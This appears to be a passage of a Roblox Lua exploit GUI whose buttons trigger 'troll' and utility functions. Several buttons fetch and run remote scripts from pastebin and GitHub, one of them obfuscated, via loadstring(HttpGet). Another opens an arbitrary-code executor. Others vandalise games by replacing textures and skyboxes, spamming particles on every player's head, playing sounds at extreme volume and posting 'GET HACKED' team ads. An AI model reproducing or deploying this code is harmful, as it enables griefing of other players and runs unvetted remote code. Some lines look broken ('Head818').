FunctionManager:register("Hat Script", function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/ocfi/Scp-096-Obfuscated/refs/heads/main/obuf"))()
end, "Troll", "HATS")
FunctionManager:register("PART ORBIT", function()
loadstring(game:HttpGet("https://pastebin.com/raw/aZjaAr6F", true))()
end, "Troll", "Probs better orbit")
FunctionManager:register("chat unbanner", function()
loadstring(game:HttpGet("https://pastebin.com/raw/aDFhvMC4", true))()
end, "Utility", "Credits to the original maker!")
FunctionManager:register("Fling GUI", function()
loadstring(game:HttpGet("https://pastebin.com/raw/VynRhxJV", true))()
end, "Troll", "Credits to the original maker!")
--init
updateGrid()
end)
end;
task.spawn(C_8);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_a()
local script = G2L["a"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
-- GUI principal
local gui = Instance.new("ScreenGui")
gui.Name = "CustomExecutor"
gui.ResetOnSpawn = false
gui.Parent = player:WaitForChild("PlayerGui")
-- Ventana principal (más pequeña y semi-transparente)
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 400, 0, 240)
mainFrame.Position = UDim2.new(0.3, 0, 0.3, 0)
mainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
mainFrame.BackgroundTransparency = 0.3
mainFrame.BorderSizePixel = 0
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Parent = gui
-- Título
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, 0, 0, 35)
title.BackgroundTransparency = 1
title.BorderSizePixel = 0
title.Text = "join team 1x1x13"
title.TextColor3 = Color3.new(1, 1, 1)
title.TextScaled = true
title.Font = Enum.Font.SourceSansBold
title.Parent = mainFrame
-- Cuadro de texto (fondo negro, más pequeño)
local input = Instance.new("TextBox")
input.Size = UDim2.new(0.9, 0, 0.55, 0)
input.Position = UDim2.new(0.05, 0, 0.18, 0)
input.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
input.BackgroundTransparency = 0
input.BorderSizePixel = 0
input.TextColor3 = Color3.new(1, 1, 1)
input.Text = ""
input.Font = Enum.Font.Code
input.TextWrapped = true
input.TextXAlignment = Enum.TextXAlignment.Left
input.TextYAlignment = Enum.TextYAlignment.Top
input.TextSize = 16
input.ClearTextOnFocus = false
input.MultiLine = true
input.Parent = mainFrame
-- Crear botón
local function createButton(text, position)
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(0, 90, 0, 30)
btn.Position = position
btn.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
btn.BackgroundTransparency = 0
btn.BorderSizePixel = 0
btn.Text = text
btn.TextColor3 = Color3.new(1, 1, 1)
btn.TextScaled = true
btn.Font = Enum.Font.SourceSansBold
btn.Parent = mainFrame
return btn
end
-- Botones
local executeBtn = createButton("Execute", UDim2.new(0.05, 0, 0.8, 0))
local r6Btn = createButton("R6", UDim2.new(0.375, 0, 0.8, 0))
local closeBtn = createButton("Close", UDim2.new(0.70, 0, 0.8, 0))
-- Funciones
executeBtn.MouseButton1Click:Connect(function()
local code = input.Text
if code and code ~= "" then
pcall(function()
loadstring(code)()
end)
end
end)
r6Btn.MouseButton1Click:Connect(function()
local Players = game:GetService("Players")
local AvatarEditor = game:GetService("AvatarEditorService")
local TweenService = game:GetService("TweenService")
local UIS = game:GetService("UserInputService")
if _G.AvatarRigPromptUI then return end
_G.AvatarRigPromptUI = true
local player = Players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")
local RigUI = Instance.new("ScreenGui")
RigUI.Name = "AvatarRigPromptUI"
RigUI.ResetOnSpawn = false
RigUI.Parent = playerGui
local MainFrame = Instance.new("Frame")
MainFrame.Size = UDim2.new(0, 200, 0, 100)
MainFrame.Position = UDim2.new(0.5, -100, 0, 20)
MainFrame.BackgroundColor3 = Color3.fromRGB(25, 25, 35)
MainFrame.Parent = RigUI
local UIStroke = Instance.new("UIStroke")
UIStroke.Thickness = 2
UIStroke.Color = Color3.fromRGB(100, 200, 255)
UIStroke.Parent = MainFrame
local dragActive, dragStart, frameStart
MainFrame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
dragActive = true
dragStart = input.Position
frameStart = MainFrame.Position
end
end)
UIS.InputChanged:Connect(function(input)
if dragActive and input.UserInputType == Enum.UserInputType.MouseMovement then
local delta = input.Position - dragStart
MainFrame.Position = UDim2.new(
frameStart.X.Scale,
frameStart.X.Offset + delta.X,
frameStart.Y.Scale,
frameStart.Y.Offset + delta.Y
)
end
end)
UIS.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
dragActive = false
end
end)
local function ExecuteRigChange()
local char = player.Character
if not char then return end
local humanoid = char:FindFirstChildOfClass("Humanoid")
if not humanoid then return end
local desc = humanoid.HumanoidDescription:Clone()
AvatarEditor:PromptSaveAvatar(desc, Enum.HumanoidRigType.R6)
local result = AvatarEditor.PromptSaveAvatarCompleted:Wait()
if result == Enum.AvatarPromptResult.Success then
humanoid.Health = 0
humanoid:ChangeState(Enum.HumanoidStateType.Dead)
player.CharacterAdded:Wait()
task.wait(1)
local newHumanoid = player.Character:FindFirstChildOfClass("Humanoid")
if newHumanoid then
newHumanoid:ApplyDescription(desc)
newHumanoid:BuildRigFromDescription(desc, Enum.HumanoidRigType.R6)
end
end
end
local R6Button = Instance.new("TextButton")
R6Button.Text = "R6 MODE"
R6Button.Size = UDim2.new(0.9, 0, 0.6, 0)
R6Button.Position = UDim2.new(0.05, 0, 0.2, 0)
R6Button.Font = Enum.Font.GothamBold
R6Button.TextColor3 = Color3.new(1,1,1)
R6Button.BackgroundColor3 = Color3.fromRGB(50, 150, 200)
R6Button.Parent = MainFrame
R6Button.MouseButton1Click:Connect(function()
TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(20, 100, 150)}):Play()
ExecuteRigChange()
task.wait(0.2)
TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(50, 150, 200)}):Play()
end)
local CloseButton = Instance.new("TextButton")
CloseButton.Text = "X"
CloseButton.Size = UDim2.new(0, 24, 0, 24)
CloseButton.Position = UDim2.new(1, -26, 0, 2)
CloseButton.Font = Enum.Font.GothamBold
CloseButton.TextColor3 = Color3.new(1, 1, 1)
CloseButton.BackgroundColor3 = Color3.fromRGB(180, 60, 60)
CloseButton.BorderSizePixel = 0
CloseButton.Parent = MainFrame
CloseButton.MouseButton1Click:Connect(function()
RigUI:Destroy()
_G.AvatarRigPromptUI = nil
end)
end)
closeBtn.MouseButton1Click:Connect(function()
gui:Destroy()
end)
end)
end;
task.spawn(C_a);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_c()
local script = G2L["c"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.MouseButton1Down:Connect(function()
local function write(text,object)
if object:IsA("Hint") == true then
local count = object:FindFirstChild("Count")
if count == nil then
count = Instance.new("NumberValue")
count.Parent = object
count.Name = "Count"
count.Value = count.Value + 1
else
count.Value = count.Value + 1
end
local startcount = count.Value
for i = 1,#text do
if count.Value == startcount then
local letter = string.sub(text,i,i)
object.Text = string.sub(text,1,i)
wait(0.001)
else
break
end
end
end
end
local bro = Instance.new("Hint",workspace)
write("TEAM 1x1x13 JOIN TODAY!",bro)
end)
end)
end;
task.spawn(C_c);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_e()
local script = G2L["e"];
function click()
s = Instance.new("Sky")
s.Name = "Sky"
s.Parent = game.Lighting
s.SkyboxBk = "http://www.roblox.com/asset/?id=100363353303781"
s.SkyboxDn = "http://www.roblox.com/asset/?id=100363353303781"
s.SkyboxFt = "http://www.roblox.com/asset/?id=100363353303781"
s.SkyboxLf = "http://www.roblox.com/asset/?id=100363353303781"
s.SkyboxRt = "http://www.roblox.com/asset/?id=100363353303781"
s.SkyboxUp = "http://www.roblox.com/asset/?id=100363353303781"
game.Lighting.TimeOfDay = 12
end
script.Parent.MouseButton1Down:connect(click)
end;
task.spawn(C_e);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_10()
local script = G2L["10"];
function click()
local function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id=100363353303781" then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = 0
local One = Instance.new("Decal", v)
local Two = Instance.new("Decal", v)
local Three = Instance.new("Decal", v)
local Four = Instance.new("Decal", v)
local Five = Instance.new("Decal", v)
local Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset/?id=100363353303781"
Two.Texture = "http://www.roblox.com/asset/?id=100363353303781"
Three.Texture = "http://www.roblox.com/asset/?id=100363353303781"
Four.Texture = "http://www.roblox.com/asset/?id=100363353303781"
Five.Texture = "http://www.roblox.com/asset/?id=100363353303781"
Six.Texture = "http://www.roblox.com/asset/?id=100363353303781"
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end
local function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
end
exPro(workspace)
asdf(workspace)
end
script.Parent.MouseButton1Down:connect(click)
end;
task.spawn(C_10);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_12()
local script = G2L["12"];
---by 777 plz dont6 leak
script.Parent.MouseButton1Down:connect(click)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=100363353303781"
emit.VelocitySpread = 100000
end
end)
end;
task.spawn(C_12);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_14()
local script = G2L["14"];
script.Parent.MouseButton1Down:Connect(function()
imageOne="http://www.roblox.com/asset/?id=169585459"imageTwo="http://www.roblox.com/asset/?id=169585475"imageThree="http://www.roblox.com/asset/?id=169585485"imageFour="http://www.roblox.com/asset/?id=169585502"imageFive="http://www.roblox.com/asset/?id=169585515"imageSix="http://www.roblox.com/asset/?id=169585502"imageSeven="http://www.roblox.com/asset/?id=169585485"imageEight="http://www.roblox.com/asset/?id=169585475"Spooky=Instance.new("Sound",workspace)Spooky.Name="Spooky"Spooky.SoundId="rbxassetid://174270407"Spooky.Volume=15 Spooky.Looped=true Spooky:Play()Sky=Instance.new("Sky",game.Lighting)Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne while true do Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne wait(0.15)Sky.SkyboxBk=imageTwo Sky.SkyboxDn=imageTwo Sky.SkyboxFt=imageTwo Sky.SkyboxLf=imageTwo Sky.SkyboxRt=imageTwo Sky.SkyboxUp=imageTwo wait(0.15)Sky.SkyboxBk=imageThree Sky.SkyboxDn=imageThree Sky.SkyboxFt=imageThree Sky.SkyboxLf=imageThree Sky.SkyboxRt=imageThree Sky.SkyboxUp=imageThree wait(0.15)Sky.SkyboxBk=imageFour Sky.SkyboxDn=imageFour Sky.SkyboxFt=imageFour Sky.SkyboxLf=imageFour Sky.SkyboxRt=imageFour Sky.SkyboxUp=imageFour wait(0.15)Sky.SkyboxBk=imageFive Sky.SkyboxDn=imageFive Sky.SkyboxFt=imageFive Sky.SkyboxLf=imageFive Sky.SkyboxRt=imageFive Sky.SkyboxUp=imageFive wait(0.15)Sky.SkyboxBk=imageSix Sky.SkyboxDn=imageSix Sky.SkyboxFt=imageSix Sky.SkyboxLf=imageSix Sky.SkyboxRt=imageSix Sky.SkyboxUp=imageSix wait(0.15)Sky.SkyboxBk=imageSeven Sky.SkyboxDn=imageSeven Sky.SkyboxFt=imageSeven Sky.SkyboxLf=imageSeven Sky.SkyboxRt=imageSeven Sky.SkyboxUp=imageSeven wait(0.15)Sky.SkyboxBk=imageEight Sky.SkyboxDn=imageEight Sky.SkyboxFt=imageEight Sky.SkyboxLf=imageEight Sky.SkyboxRt=imageEight Sky.SkyboxUp=imageEight wait(0.15)end
end)
end;
task.spawn(C_14);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_16()
local script = G2L["16"];
function click()
Game.Workspace.Terrain:SetCells(Region3int16.new(Vector3int16.new(-100,-100,-100), Vector3int16.new(100,100,100)), 17, "Solid", "X")
end
script.Parent.MouseButton1Down:connect(click)
end;
task.spawn(C_16);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_18()
local script = G2L["18"];
script.Parent.MouseButton1Click:Connect(function()
for i,v in next,workspace:children''do
if(v:IsA'BasePart')then
me=v;
bbg=Instance.new('BillboardGui',me);
bbg.Name='stuf';
bbg.Adornee=me;
bbg.Size=UDim2.new(2.5,0,2.5,0)
--bbg.StudsOffset=Vector3.new(0,2,0)
tlb=Instance.new'TextLabel';
tlb.Text='GET HACKED MY TEAM 1x1x13 JOIN TODAY';
tlb.Font='SourceSansBold';
tlb.FontSize='Size48';
tlb.TextColor3=Color3.new(1, 0.933333, 0);
tlb.Size=UDim2.new(1.25,0,1.25,0);
tlb.Position=UDim2.new(-0.125,-22,-1.1,0);
tlb.BackgroundTransparency=1;
tlb.Parent=bbg;
end;end;
function xds(dd)
for i,v in next,dd:children''do
if(v:IsA'BasePart')then
v.BrickColor=BrickColor.new'Really black';
v.TopSurface='Smooth';
v.BottomSurface='Smooth';
s=Instance.new('SelectionBox',v);
s.Adornee=v;
s.Color=BrickColor.new'Fire Yellow';
a=Instance.new('PointLight',v);
a.Color=Color3.new(1, 0.968627, 0);
a.Range=15;
a.Brightness=5;
end;
local dec = 'http://www.roblox.com/asset/?id=19399245';
local fac = {'Front', 'Back', 'Left', 'Right', 'Top', 'Bottom'}
--coroutine.wrap(function()
--for ,_ in pairs(fac) do
--local ddec = Instance.new("Decal", v)
--ddec.Face =
--ddec.Texture = dec
--end end)()
if #(v:GetChildren())>0 then
xds(v)
end
end
end
xds(game.Workspace)
end)
end;
task.spawn(C_18);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_1a()
local script = G2L["1a"];
function onClick()
local uhmye = Instance.new("Sound") uhmye.Parent = game:GetService("Workspace") uhmye.SoundId = "rbxassetid://8260658079"
uhmye.Playing = true uhmye.Looped = true uhmye.Volume = 99999999999999999
end
script.Parent.MouseButton1Down:connect(onClick)
end;
task.spawn(C_1a);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_1c()
local script = G2L["1c"];
function click()
function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id=111604272791927" then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = 0
local One = Instance.new("Decal", v)
local Two = Instance.new("Decal", v)
local Three = Instance.new("Decal", v)
local Four = Instance.new("Decal", v)
local Five = Instance.new("Decal", v)
local Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Two.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Three.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Four.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Five.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Six.Texture = "http://www.roblox.com/asset/?id=111604272791927"
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end
function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
end
exPro(workspace)
asdf(workspace)
end
script.Parent.MouseButton1Down:connect(click)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head818
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
function click()
s = Instance.new("Sky")
s.Name = "Sky"
s.Parent = game:GetService("Lighting")
s.SkyboxBk = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxDn = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxFt = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxLf = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxRt = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxUp = "http://www.roblox.com/asset/?id=111604272791927"
game:GetService("Lighting").TimeOfDay = 12
end
script.Parent.MouseButton1Down:connect(click)
---MADE BY 777ILILO PLZ DO NOT SKID IT IM SCRIPTING THIS RN ON 2 AM :SOB:
end;
task.spawn(C_1c);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_1e()
local script = G2L["1e"];
function onClick()
local tubers93 = Instance.new("Sound")
tubers93.Parent = game:GetService("Workspace")
tubers93.SoundId = "rbxassetid://6129291390"
tubers93.Playing = true
tubers93.Looped = false
tubers93.Volume = 99999999999999999
end
script.Parent.MouseButton1Down:connect(onClick)
end;
task.spawn(C_1e);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_20()
local script = G2L["20"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Parent.Parent.Frame.Visible = false
script.Parent.Parent.Parent.Frame2.Visible = true
